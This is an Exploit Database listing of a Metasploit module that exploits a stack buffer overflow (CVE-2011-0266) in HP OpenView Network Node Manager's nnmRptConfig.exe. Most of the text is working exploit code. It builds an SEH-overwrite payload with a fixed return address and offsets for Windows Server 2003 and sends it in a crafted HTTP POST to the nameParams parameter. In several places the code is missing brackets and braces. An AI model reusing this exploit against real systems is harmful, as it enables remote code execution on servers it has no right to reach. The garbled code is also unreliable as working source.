HP OpenView Network Node Manager (OV NNM) – nnmRptConfig nameParams Buffer Overflow (Metasploit)

Exploit Database
95 阅读

作者： Metasploit

日期： 2011-03-23
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17028/

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# $Id: hp_nnm_nnmrptconfig_nameparams.rb 12085 2011-03-23 03:37:18Z sinn3r $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::Seh

def initialize(info={})

super(update_info(info,

'Name'=> "HP OpenView NNM nnmRptConfig nameParams Buffer Overflow",

'Description' => %q{

This module exploits a vulnerability in HP NNM's nnmRptConfig.exe.

A remote user can send a long string data to the nameParams parameter via

a POST request, which causes an overflow on the stack when function

ov.sprintf_new() is used, and gain arbitrary code execution.'

'License' => MSF_LICENSE,

'Version' => "$Revision: 12085 $",

'Author'=>

[

'sinn3r',

'References' =>

[

['CVE', '2011-0266'],

['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-008/']

'Payload' =>

{

'BadChars' => "\x00\x26\x2b",

'DefaultOptions' =>

{

'ExitFunction' => "seh",

'AutoRunScript' => 'migrate -f',

'Platform' => 'win',

'Targets'=>

[

['Windows Server 2003 Enterprise', {'Ret'=>0x5A30532D, 'offset'=>46913, 'Pops'=>13, 'Payloadoffset'=>57} ],

'Privileged' => false,

'DisclosureDate' => "JAN 10 2011"))

register_options(

[

Opt::RPORT(80),

], self.class)

end

def exploit

nops = make_nops(1000)*70

sploit= nops[0, target['offset']]

sploit << generate_seh_record(target.ret)

sploit << "\x61"*target['Pops']

sploit << "\x51"

sploit << "\xc3"

sploit << nops[0, target['Payloadoffset']]

sploit << payload.encoded

sploit << nops[0, 70000-sploit.length]

data= "Content&Action=Create&"

data << "Template=Avail/CRAvail&"

data << "Operation=Apply&"

data << "Params=schdParams+nameParams"

data << "&schdParams=schd_select1%3Ddaily%7Cmonthtodate&"

data << "nameParams=text1%3D#{sploit}%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"

connect

send_request_raw({

'uri' => '/OvCgi/nnmRptConfig.exe',

'data' => data,

'version' => '1.1',

'method' => 'POST',

'headers' => {

'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Accept-Language' => 'en-us,en;q=0.5',

'Accept-Encoding' => 'gzip,deflate',

'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',

'Keep-Alive' => '300',

'Connection' => 'Keep-Alive',

'Cache-Control' => 'max-age=0',

'Content-Length' => data.length,

'Content-Type' => 'application/x-www-form-urlencoded',

}

}, 3)

handler

disconnect

end